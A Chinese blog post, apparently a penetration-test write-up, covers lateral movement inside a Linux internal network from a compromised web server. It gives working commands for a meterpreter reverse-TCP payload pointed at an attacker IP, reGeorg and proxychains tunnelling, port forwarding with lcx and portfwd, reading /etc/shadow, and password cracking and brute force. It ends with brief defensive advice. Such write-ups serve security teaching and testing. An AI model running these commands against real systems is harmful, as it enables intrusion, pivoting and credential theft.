【玩轉linux系統】Linux內網滲透
來自nMask博客:【玩轉linux系統】Linux內網滲透
前段時間做了一次不算成功也不算完整的linux內網滲透,不算成功是因為並沒有拿下內網中其他伺服器的許可權,不算完整是因為由於某些原因測試被迫暫時中止。雖然這次linux內網滲透不算是一個很好的教學案例,但我還是決定把過程記錄一下,尤其重點記錄linux內網滲透的思路,以防遺忘。
網上關於內網滲透的資料很多,我在做測試之前也是翻閱了很多資料。本篇標題突出linux,是因為本次測試不涉及windows系統,當然linux與windows內網滲透的原理差不多,只不過使用的工具有所區別。
收集測試網路環境
當我們拿到一台目標內網伺服器,或者說肉雞伺服器,首先要做的就是收集信息。而在我看來需要收集的信息中,最重要的之一便是肉雞的網路環境。
實驗環境
首先介紹下本次測試的伺服器環境:
攻擊機Mac:110.xx.xx.xx 外網
肉雞centos:192.168.16.x 目標內網16網段系統內網滲透範圍:192.168.17.0/24 目標內網17網段系統
本次測試模擬假設:由於肉雞伺服器上對外開放了存在漏洞的web應用,被入侵植入webshell。
本次測試目的:通過肉雞伺服器上的shell,深入滲透內網17網段的伺服器。
收集測試哪些網路數據?
ok,目前我已經擁有了肉雞的shell,那麼該收集肉雞伺服器的哪些網路環境呢?又該如何去測試?我認為至少要收集以下幾點網路環境信息:
肉雞伺服器與外網的連通性
肉雞伺服器與內網其他網段的連通性肉雞伺服器與外網之間是否有埠訪問限制肉雞伺服器與內網其他網段之間是否有埠訪問限制
註:連通性主要是指能否ping通,需要雙方互相ping測試;埠訪問限制,指的是目標網路邊界是否有堡壘機或者防火牆,對進出的埠是否有做限制。
埠訪問限制測試
ping測試這裡不介紹了,主要說下如何測試埠訪問限制,可以使用的工具如下:
curl、wget(可連接web服務,主要為80、443、8000+埠)
telnet(可主動連接指定ip的指定port)nmap(可掃描埠,open或者filter)ncat(可以創建埠監聽,也可以主動連接)python(可主動創建埠監聽)
……
在測試埠訪問限制前,我們先要搞清楚當前的網路環境。本次測試中,攻擊機在外網而肉雞在內網,因此正常情況下攻擊機是無法直接訪問到肉雞上某個埠的(需要網路邊界路由器做埠映射)。
反向連接測試
我們在測試埠訪問限制時,首先可以利用ncat在攻擊機上監聽一個埠。
ncat -l -p 9999
然後利用ncat或者telnet等工具在肉雞上嘗試連接,我稱之為反向連接測試。
ncat 110.xx.xx.xx 9999
註:監聽的埠可以隨機選取,盡量選取多個埠嘗試多次;如果肉雞能夠訪問攻擊機的任何埠,說明目標網路邊界沒有對出方向的連接做限制,了解這方面的信息對後面的埠轉發有很大好處。
正向連接測試
我們也可以在肉雞上監聽一個埠,攻擊機上嘗試連接(這裡連接的是肉雞的外網ip地址,肉雞對外開放的web應用肯定是以一個外網ip或者域名的形式存在,而該ip在本次測試中並不是肉雞真正的ip地址,是目標邊界網路設備的ip,原理是通過埠映射將網路設備(外網ip)上的web埠映射到了肉雞(內網ip)的web埠上),我稱之為正向連接測試。
嘗試連接肉雞外網地址的埠,意義在於有些粗心的管理員會在網路設備上設置全埠映射,也就是說肉雞上監聽任何埠都能映射到網路邊界設備的相同埠上,那麼這跟肉雞伺服器直接處在外網就沒差了。
收集伺服器信息
收集信息可以說是滲透測試的第一步,內網滲透也一樣,收集的伺服器信息越多,滲透的成功率就越大。
查看系統內核
linux系統上查看內核版本如下:
lsb_release –a
一般系統的入侵途徑是先提權,而提權可以通過linux內核漏洞進行,因此可以先查看linux內核版本,然後根據內核尋找exp的網站,上傳exp進行提權。由於本次測試不涉及提權部分,因此不做測試,另外補充一句:內核提權有宕機風險,請謹慎操作。
查看操作系統位數
linux系統上查看位數如下:
getconf LONG_BIT
說明:知道系統是32位還是64位對後期生成msf木馬有幫助。
系統敏感信息
收集一些系統相關的敏感信息,比如賬號密碼、日誌、歷史命令、ssh文件等。
/etc/shadown/etc/passwdn/var/lognhistoryn.sshn......n
web敏感信息
如果伺服器存在web應用,可以查看web目錄下是否存在敏感信息,比如連接資料庫的配置文件等等。
內網掃描
當信息收集完成後,可以嘗試掃描一下內網的機器,比如主機存活掃描、埠掃描、arp掃描等。埠掃描可以使用nmap、msf等工具,但如果伺服器上沒有安裝這些工具時,通常有3種手段可以達到內網埠掃描的效果。第一種就是伺服器上安裝掃描工具,這裡不多說也不推薦,因為動靜大且麻煩(當然可以上傳python掃描埠的腳本,不需要編譯安裝,比較方便。);第二種就是埠轉發,將伺服器內網埠轉發到外網進行掃描;第三種就是代理掃描,也就是把裝有掃描工具的攻擊機代理到目標內網環境。
無論是埠轉發掃描還是代理掃描,原理都是打通攻擊機(外網)與肉雞(內網)的連通性,即讓攻擊機可以直接訪問到肉雞所在的內網資源。這裡的連接不藉助於目標網路邊界設備的埠映射功能,因此與攻擊機訪問肉雞web服務所產生的連接有所區別。
埠轉發
想要達到以上所介紹的彼此」直接」的連接,我們需要一個中間的橋樑,來傳遞內外網(攻擊機與肉雞)之間的數據。搭建這種橋樑的方式有很多,我們首先可以想到埠轉發,即把肉雞伺服器上的某個埠轉發到攻擊機的某個埠上,這樣攻擊機上訪問本機某個埠,就相當於訪問了肉雞伺服器上的某個埠。
埠轉發的工具:lcx、meterpreter等,具體用法後面會介紹
埠轉發類型:tcp埠轉發、http轉發、ssh轉發等
tcp埠轉發
本機轉發:攻擊機上監聽2222、3333埠,肉雞上連接攻擊機的2222埠,並轉發肉雞22埠。
轉發連接原理:
肉雞22埠<-->肉雞隨機高埠<-->肉雞隨機高埠<-->攻擊機上2222高埠<-->攻擊機隨機高埠<-->攻擊機3333埠
註:此時我們去連接攻擊機的3333埠,就相當於連接了肉雞的22埠。
遠程轉發:攻擊機上監聽2222、3333埠,肉雞上連接攻擊機的2222埠,並轉發內網目標伺服器的22埠。(前提是肉雞能夠連接目標伺服器的22埠)
轉發連接原理:
內網目標伺服器22埠<-->肉雞隨機高埠<-->肉雞隨機高埠<-->攻擊機上2222高埠<-->攻擊機隨機高埠<-->攻擊機3333埠
註:此時我們去連接攻擊機的3333埠,就相當於連接了目標伺服器的22埠。
說明:從上面的連接過程不難看出,埠轉發比較難以防範的原因就在於,攻擊機上監聽的埠是隨機的,不可預知的,因此不可能事先在堡壘機或者防火牆上做出方向的埠策略,除非禁止伺服器訪問外部所有埠(現實情況大多隻對進方向的埠連接做限制)。
http轉發
有些安全意思強的管理員,會對一些伺服器做禁止訪問外網的策略,即伺服器禁止連接任何外網的埠。此時普通的tcp埠轉發就沒有效果了,因為轉發的前提是要能互相連接上。此種情況,可以使用http轉發。
轉發連接原理:
肉雞web埠(80)<-->網路邊界設備埠(80)<-->攻擊機隨機埠
註:這裡之所以能夠連通,是藉助了伺服器上的web服務,以及網路邊界設備的映射功能。
說明:雖然肉雞不能訪問外網任何埠,但只要它對外提供web服務,就說明它還能跟外界通信,只不過這種通信局限於web服務埠中,並且肉雞不是直接跟攻擊機通信,而是藉助了邊界設備。
代理掃描內網
以上介紹了幾種埠轉發的使用以及原理,從中我們不難看出埠轉發固然厲害,但也很局限,因為每次都只能轉發一個ip的一個埠,對於掃描來說,並不是最好的選擇方案。因此出現了一種更好的技術方案–代理掃描,其原理與埠轉發差不多,都是需要搭建一個橋樑,而這個橋樑往往不是某個埠,而是shell或者說session。
代理掃描同樣可以分為tcp代理掃描、http代理掃描。
http代理轉發
如果目標伺服器有web系統,可以使用Regeorg + proxychains。
工具下載:reGeorg、proxychains
將reGeorg的tunnel文件上傳到肉雞伺服器到網站目錄下,攻擊機執行:
python reGeorgSocksProxy.py -p 2333 -u http://test.com/tunnel.php
然後修改proxychains.conf 配置文件
vim /etc/proxychains.conf (mac上在~/.proxychains/proxychains.conf ,沒有則自己創建)
在最後一行添加socks5 127.0.0.1 2333(與regeorg設置的埠相同)
最後在攻擊機使用掃描工具時,可以在執行的命令前加proxhchains4, 比如:
proxychains4 nmap -sT -Pn -n 192.168.16.0/24
註:此方案適合攻擊者與肉雞伺服器都在各自內網環境,攻擊者可以訪問到目標伺服器的http服務,通過該http服務進行代理轉發(速度較慢).
tcp代理轉發
思路:通過metasploit木馬反彈一個肉雞的meterpreter shell到攻擊機上,然後在meterpreter shell上設置路由,我們便可以在攻擊機上直接掃描肉雞所在的網段伺服器(這裡是可以跨網段掃描的)。
(1)生成msf木馬
生成木馬:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=8000 -f elf > shell_8000.elf
由於攻擊機無法訪問肉雞的埠,而肉雞可以訪問攻擊機的埠,因此生成一個反向的木馬。
(2)反彈shell
攻擊機運行msfconsole,使用exoloit/multi/handler模塊,set payload linux/x86/meterpreter/reverse_tcp跟生成木馬時用的payload一樣。LPORT設置成木馬將要連接的埠,運行後會在攻擊機上監聽一個埠,等待木馬鏈接。
此時將shell_8000.elf上傳到肉雞伺服器上,添加許可權後運行木馬將會主動連接上攻擊機監聽的埠,並在攻擊機上獲取一個meterpreter shell。
(3)設置路由
上一步獲取到了一個session,這個session是攻擊機與肉雞相互連接的會話。
查看下肉雞的網路情況:
run get_local_subnets
添加路由:
run autoroute -s 192.168.16.0/24
查看路由:
run autoroute –p
一般來說,這裡設置好路由就可以了,但是有些時候會發現在meterpreter中有效果,但是在msf中失效了,因此可以在msf中再設置一次。(但前提是meterpreter會話要一直存在)將該會話放入後台,進入msf中添加路由。
查看路由:
這裡已經是添加好的結果,添加路由命令:
msf exploit(handler) > route add 192.168.16.0 255.255.255.0 12nmsf exploit(handler) > route add 192.168.17.0 255.255.255.0 12n
注意:12表示session id,由於我們需要訪問17網段,因此這裡也要添加17網段的路由。
說明:以上2條路由的意思,是攻擊機如果要去訪問17或者16網段的資源,其下一跳是session12,至於什麼是下一條這裡不多說了,反正就是目前攻擊機可以訪問內網資源了。
轉發連接原理:
攻擊機<-->meterpreter_shell(session)<-->肉雞 # 這裡不是埠的概念,而是路由
tcp全局代理轉發
通過以上設置,在msf中可以訪問內網資源了,但也僅限在msf中可以訪問。如果想要其他工具也能使用代理,則要設置全局代理,這需要使用msf框架中的socks4a工具代理,目錄:auxiliary/server/socks4a,然後配合Proxychains ,使用方法跟http代理類似。
註:此代理不是http代理,是tcp代理,因此需要目標伺服器或者攻擊者伺服器,有一方在外網的環境,不然木馬埠無法連接,也就無法獲取meterpreter shell。
metasploit操作可參考:【滲透神器系列】Metasploit
埠掃描工具
推薦使用metasploit進行tcp代理轉發後,利用msf上面整合的很多掃描模塊,直接進行掃描。
掃描模塊:
auxiliary/scanner/portscan 埠掃描
scanner/portscan/syn SYN埠掃描scanner/portscan/tcp TCP埠掃描……
除此之外,也可以使用nmap等掃描工具,結合tcp全局代理轉發即可。
針對22埠的入侵
掃描出內網伺服器埠後,我們可以首先選擇開放22埠的伺服器進行入侵嘗試。攻擊22埠通常有2種方法,第一種是先讀取肉雞明文密碼,再利用明文密碼嘗試登陸;第二種是字典暴力登陸。
嘗試hash破解
如果許可權足夠,我們可以順利讀取/etc/shadow文件的內容,然而是密文的,因此可以嘗試用工具破解。
John破解hash
Hashcat
註:windows下可以使用mimikatz
說明:獲取linux賬號的明文密碼作用很大,因為內網環境管理員可能就那麼幾個,不同伺服器所設置的密碼也有可能相同,因此可以使用獲取的伺服器密碼去嘗試登陸其餘開放了22埠的內網伺服器。
字典暴力破解
這個沒啥好說的,主要看字典是否強大,以及是否有防止爆破限制。
工具:
hydra
msf上的相應模塊
針對其他埠的入侵
除了22埠外,21(ftp)、3306(mysql)、1433(mssql)等都可以通過暴力破解的方式。那麼其他段埠呢?比如445、443等,這些則可以通過相應的漏洞進行攻擊,通過可以使用nessus掃描器進行掃描,對發現的漏洞再集合msf上相應的模塊進行攻擊。
針對web服務的入侵
除了以上的埠外,還有一類埠比較特殊,那就是web服務類的埠,比如80、443、8000+等。由於這些埠上存在web應用,而web應用又是容易存在漏洞的點。因此可以重點尋找內網中存在web服務的伺服器,並依照web滲透測試的流程對其web應用進行滲透。
埠轉發的逆襲
前文介紹了埠轉發技術,但在掃描環節中我並沒有使用這種方案。那麼是不是說埠轉發在內網滲透中沒有用武之地呢?
事實並不是這樣,內網掃描過後的漏洞利用攻擊階段,才是埠轉發真正的舞台。在此階段,我們可以利用埠轉發,將某個存在漏洞的伺服器的某個埠轉發出來,單獨攻擊利用。我們可以想到在windows中,利用lcx轉發3389埠,linux下同樣可以轉發22埠,當然更好用的是轉發80埠,達到可以本地訪問內網的web服務,從而繼續web滲透的套路,擴大攻擊面。
meterpreter實現埠轉發
在meterpreter shell中輸入:
meterpreter > portfwd add -l 55555 -r 192.168.16.1 -p 3306n
說明:表示將192.168.16.1伺服器上的3306埠轉發到本地(攻擊機)的55555埠,然後我們可以在本地運行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陸內網伺服器的mysql。其他埠如ssh、ftp等都類似,這個過程跟msf代理很像。
案例
將肉雞的22埠轉發到攻擊機的2222埠,看一下連接情況。
發現攻擊機上監聽了2222埠,連接到了本機其外一個高埠。
肉雞的22埠也連接到了肉雞自己的一個高埠
那麼兩台伺服器之間的兩個高埠之間是怎麼連接的,我想肯定是利用meterpreter會話。因此meterpreter會話就相當於一個中間人,傳遞原本無法傳遞的消息。
lcx埠轉發
攻擊機:
lcx -listen 2222 3333 # 2222為轉發埠,3333為本機任意未被佔用的埠n
肉雞:
lcx -slave 110.1.1.1 2222 127.0.0.1 3389n
110.1.1.1為攻擊機外網ip,2222為轉發埠,127.0.0.1為肉雞內網ip,3389為遠程終端埠 。
內網嗅探
windows下可以使用cain,linux下可以使用msf中的模塊。當然一般情況下,最好不要用內網嗅探,因為動靜太大,而且可能會影響內網網路。
linux內網安全建議
說了這麼多內網滲透的套路,按慣例最後該給出內網安全建設的幾點建議了,當然只是個人看法,可以一起留言討論。
每台伺服器上安裝監控軟體,監控並攔截木馬程序的運行(監控木馬文件以及行為)
監控伺服器上開啟的新埠,查看其連接情況,是否有異常連接(監控異常埠)伺服器及時更新補丁,以及最新系統漏洞補丁(減少漏洞)伺服器上運行的應用給予低許可權(增加提權的難度)不必要連接外網的伺服器,禁止連接外網(減少被入侵的風險)日誌記錄並且實時監控(監控異常操作以及暴力破解行為)
參考文章
使用 MSF 路由轉發實現MSF框架的內網滲透
內網滲透--網路環境的判斷 - 安全客 - 有思想的安全新媒體
Metasploit滲透技巧:後滲透Meterpreter代理 - FreeBuf.COM | 關注黑客與極客
圖解Meterpreter實現網路穿透的方法 - FreeBuf.COM | 關注黑客與極客
傳送門
【玩轉linux系列】Vim使用
【玩轉Linux系列】Linux基礎命令
推薦閱讀:
※安全套接層有什麼用?
※國內外有哪些漏洞信息發布平台?
※QQ 安全令牌為什麼離線的情況下(手機停機)能用,即安全令牌不需要連接網路就能與伺服器同步?
※為何網路安全法影響如此巨大沒有得到足夠的關注?